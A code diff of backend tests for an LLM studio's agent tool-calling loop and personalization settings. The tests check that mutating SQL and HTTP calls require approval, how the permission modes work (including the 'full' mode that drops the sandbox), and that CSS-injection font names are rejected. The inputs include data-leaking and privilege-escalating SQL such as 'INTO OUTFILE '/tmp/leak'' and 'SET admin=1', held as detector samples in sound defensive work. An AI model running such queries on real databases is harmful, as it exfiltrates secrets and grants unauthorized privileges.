+        ({"query": "ALTER USER bob WITH PASSWORD 'x'"}, True),  # ALTER USER mutates
+        ({"query": "SELECT dropped_at FROM t"}, False),  # 'drop' substring column stays safe
+        ({"query": "mutation M @audit { deleteIssue(id: 1) }"}, True),  # directive GraphQL mutation
+        (
+            {"query": "query Q @cached { issue(id: 1) { title } }"},
+            False,
+        ),  # directive GraphQL read stays safe
+        ({"query": 'UPDATE "users" SET admin=1'}, True),  # double-quoted UPDATE target
+        ({"query": "UPDATE public.users SET admin=1"}, True),  # schema-qualified UPDATE
+        ({"query": "UPDATE ONLY public.users SET admin=1"}, True),  # ONLY-qualified UPDATE
+        ({"query": "UPDATE `users` SET admin=1"}, True),  # backtick-quoted UPDATE
+        ({"query": "UPDATE [users] SET admin=1"}, True),  # bracket-quoted UPDATE
+        ({"query": "please update the documentation set"}, False),  # NL 'update ... set' stays safe
+        ({"query": "SELECT pg_terminate_backend(123)"}, True),  # state-changing SQL function
+        ({"query": "SELECT setval('s', 1)"}, True),  # sequence mutation function
+        ({"query": "SELECT pg_write_file('/tmp/p', 'x')"}, True),  # server-side file write
+        ({"query": "SELECT lo_export(123, '/tmp/p')"}, True),  # large-object export to a file
+        ({"query": "SELECT setval_col FROM t"}, False),  # 'setval' column prefix stays safe
+        (
+            {"query": "SELECT secret INTO OUTFILE '/tmp/leak' FROM users"},
+            True,
+        ),  # INTO OUTFILE write
+        ({"query": "SELECT x INTO DUMPFILE '/tmp/d' FROM t"}, True),  # INTO DUMPFILE write
+        (
+            {"query": "SELECT count(*) INTO cnt FROM t"},
+            False,
+        ),  # PL/pgSQL SELECT INTO var stays safe
+        ({"query": "REFRESH MATERIALIZED VIEW mv"}, True),  # materialized view rewrite
+        ({"query": "REINDEX INDEX idx"}, True),  # index rebuild
+        ({"query": "REINDEX TABLE t"}, True),  # table reindex
+        ({"query": "SELECT refresh_count FROM t"}, False),  # 'refresh' column stays safe
+        ({"query": "please refresh the page"}, False),  # NL 'refresh' stays safe
+        ({"query": "COMMENT ON TABLE users IS 'owned'"}, True),  # catalog metadata write
+        ({"query": "LOCK TABLE users IN ACCESS EXCLUSIVE MODE"}, True),  # explicit lock
+        ({"query": "SECURITY LABEL FOR x ON TABLE t IS 'z'"}, True),  # security label write
+        ({"query": "CREATE POLICY p ON accounts USING (true)"}, True),  # row-security policy DDL
+        ({"query": "SELECT comment FROM t"}, False),  # 'comment' column stays safe
+        ({"query": "SELECT * FROM locks"}, False),  # 'locks' table stays safe
+        ({"query": "SELECT nextval('billing_seq')"}, True),  # sequence advance mutates
+        ({"query": "SELECT pg_advisory_lock(42)"}, True),  # advisory lock changes state
+        ({"query": "SELECT pg_notify('jobs', 'wake')"}, True),  # server-side notification
+        ({"query": "SELECT set_config('x', 'y', false)"}, True),  # session config write
+        ({"query": "SELECT nextval_col FROM t"}, False),  # 'nextval' column prefix stays safe
+        ({"query": "TRUNCATE users"}, True),  # multi-char table name (bare TRUNCATE)
+        ({"query": "TRUNCATE TABLE accounts"}, True),  # multi-char TRUNCATE TABLE
+        ({"query": 'TRUNCATE TABLE "users"'}, True),  # quoted TRUNCATE target
+        ({"query": "TRUNCATE accounts RESTART IDENTITY"}, True),  # TRUNCATE with options
+        ({"query": "SELECT truncate_log FROM t"}, False),  # 'truncate' column stays safe
+        ({"query": "UPDATE users AS u SET admin=1"}, True),  # aliased UPDATE target (AS)
+        ({"query": 'UPDATE "users" AS u SET x=1'}, True),  # quoted+aliased UPDATE
+        ({"query": "UPDATE public.users AS u SET x=1"}, True),  # schema-qualified aliased UPDATE
+        ({"query": "SELECT * FROM users AS u"}, False),  # aliased SELECT stays safe
+        ({"query": "please update the documentation set"}, False),  # NL, no AS, stays safe
+        ({"query": "GRANT SELECT ON t TO u"}, True),  # privilege grant (multi-word)
+        ({"query": "REVOKE ALL ON t FROM u"}, True),  # privilege revoke (multi-word)
+        ({"query": "SELECT * FROM grants"}, False),  # 'grants' table stays safe
+        ({"url": "http://x", "method": "DELETE"}, True),  # mutating HTTP verb arg
+        ({"method": "POST"}, True),
+        ({"verb": "PUT"}, True),  # alternate method-key name
+        ({"method": "GET"}, False),  # read HTTP verb stays safe
+        ({"method": "HEAD"}, False),
+    ],
+)
+def test_mcp_mutating_arguments(args, unsafe):
+    name = f"{MCP_TOOL_PREFIX}db__query_database"
+    assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+# ── loop behavior ───────────────────────────────────────────────────
+
+_DEFAULT_TOOLS = [
+    {"type": "function", "function": {"name": "python"}},
+    {"type": "function", "function": {"name": "web_search"}},
+]
+
+
+class _FakeExecuteTool:
+    def __init__(self):
+        self.calls = []
+        self.disable_sandbox_seen = []
+
+    def __call__(
+        self,
+        name,
+        arguments,
+        *,
+        cancel_event = None,
+        timeout = None,
+        session_id = None,
+        thread_id = None,
+        rag_scope = None,
+        disable_sandbox = False,
+    ):
+        self.calls.append((name, arguments))
+        self.disable_sandbox_seen.append(disable_sandbox)
+        return f"RESULT[{name}]"
+
+
+def _tool_call(name, args_json):
+    return f'<tool_call>{{"name": "{name}", "arguments": {args_json}}}</tool_call>'
+
+
+def _multi_turn(turns):
+    turn_iter = iter(turns)
+
+    def _gen(_messages):
+        try:
+            yield next(turn_iter)
+        except StopIteration:
+            return
+
+    return _gen
+
+
+def _drive(turns, decisions, **loop_kwargs):
+    """Run the loop, resolving each gated tool_start with the next decision."""
+    decision_iter = iter(decisions)
+    exec_fn = _FakeExecuteTool()
+    # A per-call session id so a leaked pending approval from another test can
+    # never collide with this run's approval registry entries.
+    session = f"{_SESSION}-{uuid.uuid4().hex}"
+    gen = run_safetensors_tool_loop(
+        single_turn = _multi_turn(turns),
+        messages = [{"role": "user", "content": "hi"}],
+        tools = _DEFAULT_TOOLS,
+        execute_tool = exec_fn,
+        session_id = session,
+        **loop_kwargs,
+    )
+    events = []
+    for ev in gen:
+        events.append(ev)
+        if ev["type"] == "tool_start" and ev.get("awaiting_confirmation"):
+            resolve_tool_decision(ev["approval_id"], next(decision_iter), session_id = session)
+    return events, exec_fn
+
+
+def _tool_starts(events):
+    return [e for e in events if e["type"] == "tool_start"]
+
+
+def _diag(events, exec_fn):
+    """A compact dump of what the loop actually did, attached to the loop-driving
+    assertions so a full-suite-only failure on CI (which does not reproduce when
+    the file runs alone) reports the real event stream instead of a bare diff."""
+    return (
+        f"calls={exec_fn.calls} sandbox_seen={exec_fn.disable_sandbox_seen} "
+        f"events={[(e.get('type'), e.get('awaiting_confirmation'), e.get('tool_name')) for e in events]}"
+    )
+
+
+def test_auto_mode_does_not_gate_safe_calls():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        [],
+        confirm_tool_calls = True,
+        permission_mode = "auto",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert starts[0]["approval_id"] == ""
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [False], _diag(
+        events, exec_fn
+    )  # sandbox stays on in auto
+
+
+def test_auto_mode_gates_unsafe_calls():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+        permission_mode = "auto",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True, _diag(events, exec_fn)
+    assert starts[0]["approval_id"]
+    assert len(exec_fn.calls) == 1, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_ask_mode_gates_even_safe_calls():
+    events, _ = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+        permission_mode = "ask",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_unset_mode_behaves_as_ask():
+    events, _ = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        ["allow"],
+        confirm_tool_calls = True,
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is True
+
+
+def test_off_mode_never_gates_and_keeps_sandbox():
+    # "Off": no prompts even for unsafe calls, but the sandbox stays on.
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        [],
+        confirm_tool_calls = True,  # off must win over a stray confirm flag
+        permission_mode = "off",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert starts[0]["approval_id"] == ""
+    assert exec_fn.disable_sandbox_seen == [False], _diag(events, exec_fn)
+
+
+def test_full_mode_never_gates_and_drops_sandbox():
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "import os; os.remove(\\"x\\")"}'), "final"],
+        [],
+        confirm_tool_calls = True,  # full must win over the confirm gate
+        permission_mode = "full",
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_flag_implies_full_mode():
+    # Legacy callers that only set bypass_permissions keep the same behavior.
+    events, exec_fn = _drive(
+        [_tool_call("python", '{"code": "print(1)"}'), "final"],
+        [],
+        confirm_tool_calls = True,
+        bypass_permissions = True,
+    )
+    starts = _tool_starts(events)
+    assert starts and starts[0]["awaiting_confirmation"] is False, _diag(events, exec_fn)
+    assert exec_fn.disable_sandbox_seen == [True], _diag(events, exec_fn)
+
+
+def test_bypass_permissions_folds_to_full_on_request_models():
+    # A legacy bypass caller that also sends a stale ask/auto mode normalizes to
+    # full, so the route guards (which reject ask/auto) don't 400 the request.
+    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+        req = cls(
+            messages = [{"role": "user", "content": "hi"}],
+            bypass_permissions = True,
+            permission_mode = "auto",
+        )
+        assert req.permission_mode == "full"
+        assert req.bypass_permissions is True
+
+
+def test_unknown_permission_mode_normalizes_to_ask_on_request_models():
+    # An unrecognized mode from a newer UI/client must degrade to the safest gate
+    # ("ask") at the API boundary instead of a 422, so the forward-compat fallback
+    # the tool loops already apply (unknown -> ask) is reachable. None stays unset;
+    # the four known modes pass through untouched.
+    for cls in (ChatCompletionRequest, AnthropicMessagesRequest):
+        for unknown in ("paranoid", "readonly", "bogus", ""):
+            req = cls(
+                messages = [{"role": "user", "content": "hi"}],
+                permission_mode = unknown,
+            )
+            assert req.permission_mode == "ask", (cls.__name__, unknown)
+        assert (
+            cls(messages = [{"role": "user", "content": "hi"}], permission_mode = None).permission_mode
+            is None
+        )
+        for known in ("ask", "auto", "off", "full"):
+            req = cls(
+                messages = [{"role": "user", "content": "hi"}],
+                permission_mode = known,
+            )
+            # 'full' folds to bypass but the mode string is preserved.
+            assert req.permission_mode == known, (cls.__name__, known)
+
+
+def test_ask_auto_self_enable_confirm_on_chat_request():
+    # "Ask" gates every call, so a direct /chat/completions caller that requests
+    # ask but omits the legacy confirm flag self-enables it when Studio's own tool
+    # loop is requested. Only the router's loop-entry signals count (enable_tools /
+    # mcp_enabled); enabled_tools alone never starts the loop.
+    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "ask",
+            **loop,
+        )
+        assert req.confirm_tool_calls is True
+    # "auto" is NOT folded: it only prompts for a classifier-flagged call, so
+    # leaving confirm unset lets the route apply the safe-only-selection exception
+    # (a safe-only auto request needs no stream) instead of an explicit confirm
+    # forcing stream=true. The mode still drives the loop's per-call gate.
+    for loop in ({"enable_tools": True}, {"mcp_enabled": True}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "auto",
+            **loop,
+        )
+        assert req.confirm_tool_calls is None
+    # enabled_tools by itself is a passthrough filter, not a loop-entry signal:
+    # a client-tool passthrough that also lists enabled_tools must route verbatim
+    # (confirm stays unset), else the confirm-without-stream guard 400s it.
+    for mode in ("ask", "auto"):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = mode,
+            enabled_tools = ["terminal"],
+            tools = [{"type": "function", "function": {"name": "f"}}],
+        )
+        assert req.confirm_tool_calls is None
+    # An explicit confirm_tool_calls=False wins over the ask mode (opts out of the
+    # gate), matching _permission_mode_confirm and the Anthropic pre-switch guard;
+    # the fold only self-enables when the flag is unset, so a caller cannot get a
+    # different answer on the chat path than the Anthropic path for the same body.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+        enable_tools = True,
+        confirm_tool_calls = False,
+    )
+    assert req.confirm_tool_calls is False
+    # A plain client-tool passthrough (client-supplied tools that Studio does not
+    # execute) must NOT self-enable confirm, or the route rejects the passthrough.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+        tools = [{"type": "function", "function": {"name": "f"}}],
+    )
+    assert req.confirm_tool_calls is None
+    # ask/auto without any tool request has nothing to gate; confirm stays unset.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        permission_mode = "ask",
+    )
+    assert req.confirm_tool_calls is None
+    # Legacy callers with no permission_mode keep their confirm flag untouched.
+    req = ChatCompletionRequest(
+        messages = [{"role": "user", "content": "hi"}],
+        confirm_tool_calls = False,
+    )
+    assert req.confirm_tool_calls is False
+    # External-provider requests are not folded (the provider branch rejects
+    # confirm_tool_calls with tools, and permission_mode is a local concept).
+    for extra in ({"provider_id": "p1"}, {"provider_type": "openai"}):
+        req = ChatCompletionRequest(
+            messages = [{"role": "user", "content": "hi"}],
+            permission_mode = "ask",
+            enable_tools = True,
+            **extra,
+        )
+        assert req.confirm_tool_calls is None
+
+
+def test_permission_mode_confirm_derivation():
+    # The route derives the effective confirm gate from permission_mode so that a
+    # tool loop forced on by CLI policy (no request-level tool flag) still honors
+    # the documented "unset behaves as ask" default.
+    from routes.inference import _permission_mode_confirm
+
+    def req(**kw):
+        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+    # An explicit confirm flag always wins (True gates, False opts out).
+    assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True
+    assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False
+    # Explicit ask/auto always engage the gate (a non-streaming one is rejected
+    # by the guard that reads this).
+    assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True
+    assert _permission_mode_confirm(req(permission_mode = "auto", stream = False)) is True
+    # off/full never prompt.
+    assert _permission_mode_confirm(req(permission_mode = "off")) is False
+    assert _permission_mode_confirm(req(permission_mode = "full")) is False
+    # An unset mode defaults to ask, but only realizably on a streaming request;
+    # a non-streaming unset request keeps the legacy run-without-gate behavior.
+    assert _permission_mode_confirm(req(stream = True)) is True
+    assert _permission_mode_confirm(req(stream = False)) is False
+
+
+def test_confirm_gate_needs_stream():
+    # auto only prompts for a classifier-flagged call, so an auto request that can
+    # only select always-safe tools (web_search / RAG) needs no stream and must not
+    # be rejected by the confirm-without-stream guard.
+    from routes.inference import _confirm_gate_needs_stream
+
+    def req(**kw):
+        return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
+
+    safe = ["web_search", "search_knowledge_base"]
+    # auto + a safe-only selection never prompts -> no stream needed.
+    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"]))
+        is False
+    )
+    # render_html can prompt when its canvas reaches the network, so a selection
+    # that includes it needs a stream to deliver that prompt.
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search", "render_html"])
+        )
+        is True
+    )
+    # But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an
+    # explicit confirm flag all still require streaming under auto.
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True
+    )
+    assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True)
+        )
+        is True
+    )
+    assert (
+        _confirm_gate_needs_stream(
+            req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True)
+        )
+        is True
+    )
+    # An explicit empty selection runs no built-in tool, so nothing can prompt and
+    # no stream is needed (distinct from an omitted list, which means all tools).
+    assert (
+        _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = []))
+        is False
+    )
+    # ask prompts for every call, so even a safe-only selection needs streaming.
+    assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True
+    # off/full never prompt; unset non-streaming keeps the legacy run-without-gate.
+    assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False
+    assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False
+    assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False
diff --git a/studio/backend/tests/test_personalization_settings.py b/studio/backend/tests/test_personalization_settings.py
index c80bfa196b..7b5e70decc 100644
--- a/studio/backend/tests/test_personalization_settings.py
+++ b/studio/backend/tests/test_personalization_settings.py
@@ -16,15 +16,21 @@ if str(_BACKEND) not in sys.path:
 import utils.personalization_settings as pers  # noqa: E402
 from auth.authentication import get_current_subject  # noqa: E402
 from routes import settings as settings_routes  # noqa: E402
-from routes.settings import PersonalizationPayload  # noqa: E402
+from routes.settings import (  # noqa: E402
+    MAX_SIDEBAR_MENU_INPUT_ITEMS,
+    PersonalizationPayload,
+    SIDEBAR_MENU_ITEM_DEFAULTS,
+)
 
 
 def test_defaults_fill_missing_fields():
     p = PersonalizationPayload.model_validate({})
     assert p.version == pers.PERSONALIZATION_VERSION
     assert p.appearance.theme == "system"
+    assert p.appearance.palette == "standard"
     assert p.profile.avatarShape == "circle"
     assert p.profile.displayName == ""
+    assert p.profile.showGreetingSloth is True
 
 
 def test_unknown_keys_are_ignored():
@@ -39,6 +45,213 @@ def test_invalid_theme_rejected():
         PersonalizationPayload.model_validate({"appearance": {"theme": "neon"}})
 
 
+def test_invalid_palette_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"palette": "neon"}})
+
+
+def test_customization_defaults():
+    p = PersonalizationPayload.model_validate({})
+    c = p.appearance.customization
+    assert c.contrast == 50
+    assert c.reduceMotion == "system"
+    assert c.fontSmoothing is True
+    assert c.pointerCursors is False
+    assert c.colors.light.accent is None
+    assert c.headingFont is None
+    assert c.chatFont is None
+    assert c.uiFontSize is None
+    assert [(i.id, i.visible) for i in c.sidebarMenu] == [
+        ("api", True),
+        ("darkMode", True),
+        ("guidedTour", True),
+        ("profile", False),
+        ("appearance", False),
+        ("resources", False),
+        ("chat", False),
+        ("connections", False),
+    ]
+
+
+def test_customization_invalid_values_rejected():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"colors": {"light": {"accent": "red"}}}}}
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"customization": {"uiFontSize": 99}}})
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate({"appearance": {"customization": {"contrast": 500}}})
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"reduceMotion": "sometimes"}}}
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {"appearance": {"customization": {"sidebarMenu": [{"id": "chats"}]}}}
+        )
+
+
+def test_customization_sidebar_menu_normalized():
+    p = PersonalizationPayload.model_validate(
+        {
+            "appearance": {
+                "customization": {
+                    "sidebarMenu": [
+                        {"id": "guidedTour", "visible": False},
+                        {"id": "guidedTour", "visible": True},
+                        {"id": "api"},
+                    ]
+                }
+            }
+        }
+    )
+    # Duplicates keep the first entry; missing ids are appended with their
+    # default visibility.
+    assert [(i.id, i.visible) for i in p.appearance.customization.sidebarMenu] == [
+        ("guidedTour", False),
+        ("api", True),
+        ("darkMode", True),
+        ("profile", False),
+        ("appearance", False),
+        ("resources", False),
+        ("chat", False),
+        ("connections", False),
+    ]
+
+
+def _sidebar(items):
+    return {"appearance": {"customization": {"sidebarMenu": items}}}
+
+
+def test_customization_sidebar_menu_dedupes_oversized_payload():
+    # A stale/duplicated payload carries more items than there are distinct ids.
+    # It must reach the dedupe validator and normalize to exactly one entry per
+    # id, not be rejected by the length cap before dedupe runs.
+    ids = list(SIDEBAR_MENU_ITEM_DEFAULTS)
+    doubled = [{"id": i} for i in ids] + [{"id": i} for i in ids]
+    assert len(doubled) > len(SIDEBAR_MENU_ITEM_DEFAULTS)
+    p = PersonalizationPayload.model_validate(_sidebar(doubled))
+    result = [i.id for i in p.appearance.customization.sidebarMenu]
+    assert result == ids
+    assert len(result) == len(SIDEBAR_MENU_ITEM_DEFAULTS)
+
+
+def test_customization_sidebar_menu_rejects_pathological_length():
+    # The generous input cap still refuses an absurdly long list outright.
+    huge = [{"id": "api"} for _ in range(MAX_SIDEBAR_MENU_INPUT_ITEMS + 1)]
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(_sidebar(huge))
+
+
+def test_customization_imported_fonts_validated():
+    ok = PersonalizationPayload.model_validate(
+        {
+            "appearance": {
+                "customization": {
+                    "importedFonts": [{"name": "My Font", "dataUrl": "data:font/woff2;base64,AAAA"}]
+                }
+            }
+        }
+    )
+    assert ok.appearance.customization.importedFonts[0].name == "My Font"
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {
+                "appearance": {
+                    "customization": {
+                        "importedFonts": [
+                            {"name": "Evil", "dataUrl": "https://example.com/font.woff2"}
+                        ]
+                    }
+                }
+            }
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            {
+                "appearance": {
+                    "customization": {
+                        "importedFonts": [
+                            {"name": f"Font {i}", "dataUrl": "data:font/ttf;base64,AAAA"}
+                            for i in range(4)
+                        ]
+                    }
+                }
+            }
+        )
+
+
+def _imported(fonts):
+    return {"appearance": {"customization": {"importedFonts": fonts}}}
+
+
+def test_imported_font_name_rejects_css_characters():
+    # Includes backslash (escapes the quoted family), comma/slash (extra
+    # fallbacks / comment start), and a control character.
+    for bad in ['Ev"il', "Ev;il", "Ev{il", "Ev<il", "Ev'il", "Ev\\il", "Ev,il", "Ev/il", "Ev\til"]:
+        with pytest.raises(ValidationError):
+            PersonalizationPayload.model_validate(
+                _imported([{"name": bad, "dataUrl": "data:font/woff2;base64,AAAA"}])
+            )
+
+
+def test_selected_font_names_validated():
+    for field in ("uiFont", "headingFont", "chatFont", "codeFont"):
+        for bad in ["Ev\\il", "Ev,il", "Ev/il", "Ev;il", "Ev\nil"]:
+            with pytest.raises(ValidationError):
+                PersonalizationPayload.model_validate(
+                    {"appearance": {"customization": {field: bad}}}
+                )
+    # A normal family name (spaces + digits) is still accepted.
+    p = PersonalizationPayload.model_validate(
+        {"appearance": {"customization": {"uiFont": "Source Serif 4"}}}
+    )
+    assert p.appearance.customization.uiFont == "Source Serif 4"
+
+
+def test_imported_font_data_url_must_be_base64():
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": "F", "dataUrl": "data:font/woff2;base64,?not base64?"}])
+        )
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": "F", "dataUrl": "data:application/json;base64,AAAA"}])
+        )
+
+
+def test_imported_font_data_url_rejects_newline():
+    # re's ``$`` also matches just before a trailing newline, so a data URL
+    # ending in "\n" (or with an embedded newline) must be rejected the same way
+    # the frontend JS pattern rejects it; otherwise the backend accepts a value
+    # the client would never have produced.
+    for bad in [
+        "data:font/woff2;base64,AAAA\n",
+        "data:font/woff2;base64,AAAA\nBBBB",
+        "\ndata:font/woff2;base64,AAAA",
+    ]:
+        with pytest.raises(ValidationError):
+            PersonalizationPayload.model_validate(_imported([{"name": "F", "dataUrl": bad}]))
+    # The same URL without the newline is still accepted.
+    ok = PersonalizationPayload.model_validate(
+        _imported([{"name": "F", "dataUrl": "data:font/woff2;base64,AAAA"}])
+    )
+    assert ok.appearance.customization.importedFonts[0].dataUrl == "data:font/woff2;base64,AAAA"
+
+
+def test_imported_fonts_total_size_capped():
+    big = "data:font/woff2;base64," + "A" * 1_600_000
+    with pytest.raises(ValidationError):
+        PersonalizationPayload.model_validate(
+            _imported([{"name": f"F{i}", "dataUrl": big} for i in range(3)])
+        )
+    # Two fit under the aggregate cap.
+    PersonalizationPayload.model_validate(
+        _imported([{"name": f"F{i}", "dataUrl": big} for i in range(2)])
+    )
+
+
 def test_avatar_must_be_image_data_url():
     with pytest.raises(ValidationError):
         PersonalizationPayload.model_validate(
@@ -132,8 +345,42 @@ def test_personalization_route_roundtrip_real_shape(monkeypatch):
             "nickname": "M",
             "avatarDataUrl": "/Sloth%20emojis/large%20sloth%20yay.png",
             "avatarShape": "rounded",
+            "showGreetingSloth": False,
+        },
+        "appearance": {
+            "theme": "dark",
+            "palette": "classic",
+            "language": "en",
+            "customization": {
+                "colors": {
+                    "light": {"accent": "#339cff", "background": None, "foreground": None},
+                    "dark": {"accent": None, "background": "#111111", "foreground": None},
+                },
+                "uiFont": "SF Pro Text",
+                "headingFont": "Avenir Next",
+                "chatFont": "Georgia",
+                "codeFont": None,
+                "importedFonts": [
+                    {"name": "SF Pro Text", "dataUrl": "data:font/woff2;base64,AAAA"}
+                ],
+                "uiFontSize": 14,
+                "codeFontSize": 13,
+                "contrast": 60,
+                "pointerCursors": True,
+                "reduceMotion": "off",
+                "fontSmoothing": True,
+                "sidebarMenu": [
+                    {"id": "darkMode", "visible": True},
+                    {"id": "api", "visible": False},
+                    {"id": "guidedTour", "visible": True},
+                    {"id": "profile", "visible": True},
+                    {"id": "appearance", "visible": False},
+                    {"id": "resources", "visible": False},
+                    {"id": "chat", "visible": False},
+                    {"id": "connections", "visible": False},
+                ],
+            },
         },
-        "appearance": {"theme": "dark", "language": "en"},
     }
     put = client.put("/api/settings/personalization", json = payload)
     assert put.status_code == 200
@@ -142,5 +389,109 @@ def test_personalization_route_roundtrip_real_shape(monkeypatch):
     assert saved.status_code == 200
     body = saved.json()
     assert body["saved"] is True
+    assert body["customizationSaved"] is True
+    assert body["paletteSaved"] is True
+    assert body["greetingSlothSaved"] is True
     assert body["profile"] == payload["profile"]
     assert body["appearance"] == payload["appearance"]
+
+
+def test_personalization_get_flags_legacy_fields(monkeypatch):
+    # A record written before these fields existed must report them as unsaved
+    # so the client keeps local overrides instead of the server-filled defaults.
+    store: dict = {
+        pers.PERSONALIZATION_SETTING_KEY: {
+            "version": 1,
+            "profile": {"displayName": "Mike"},
+            "appearance": {"theme": "dark"},
+        }
+    }
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    body = TestClient(app).get("/api/settings/personalization").json()
+    assert body["saved"] is True
+    assert body["customizationSaved"] is False
+    assert body["paletteSaved"] is False
+    assert body["greetingSlothSaved"] is False
+
+
+def test_personalization_put_preserves_absent_fields(monkeypatch):
+    # A stale client that omits palette/customization must not materialize them,
+    # so the record stays legacy and GET keeps reporting those fields unsaved.
+    store: dict = {}
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    client = TestClient(app)
+
+    put = client.put(
+        "/api/settings/personalization",
+        json = {
+            "version": 1,
+            "profile": {"displayName": "Mike"},
+            "appearance": {"theme": "dark", "language": "en"},
+        },
+    )
+    assert put.status_code == 200
+
+    stored_appearance = store[pers.PERSONALIZATION_SETTING_KEY]["appearance"]
+    assert "palette" not in stored_appearance
+    assert "customization" not in stored_appearance
+
+    body = client.get("/api/settings/personalization").json()
+    assert body["saved"] is True
+    assert body["paletteSaved"] is False
+    assert body["customizationSaved"] is False
+    assert body["greetingSlothSaved"] is False
+
+
+def test_personalization_put_preserves_existing_fields_on_stale_write(monkeypatch):
+    # A stale client that omits palette/customization must not clobber values a
+    # newer client already stored; the merge keeps them and only updates theme.
+    store: dict = {
+        pers.PERSONALIZATION_SETTING_KEY: {
+            "version": 1,
+            "profile": {"displayName": "Mike", "showGreetingSloth": False},
+            "appearance": {
+                "theme": "light",
+                "palette": "classic",
+                "customization": {"uiFont": "Georgia"},
+            },
+        }
+    }
+    monkeypatch.setattr("storage.studio_db.get_app_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr("storage.studio_db.upsert_app_settings", lambda d: store.update(d))
+
+    app = FastAPI()
+    app.dependency_overrides[get_current_subject] = lambda: "unsloth"
+    app.include_router(settings_routes.router, prefix = "/api/settings")
+    client = TestClient(app)
+
+    put = client.put(
+        "/api/settings/personalization",
+        json = {"version": 1, "profile": {"displayName": "Mike"}, "appearance": {"theme": "dark"}},
+    )
+    assert put.status_code == 200
+
+    # The PUT response reflects the stored record, not the defaults-filled request:
+    # a stale write that omits palette/customization still echoes the preserved values.
+    put_body = put.json()
+    assert put_body["appearance"]["theme"] == "dark"
+    assert put_body["appearance"]["palette"] == "classic"
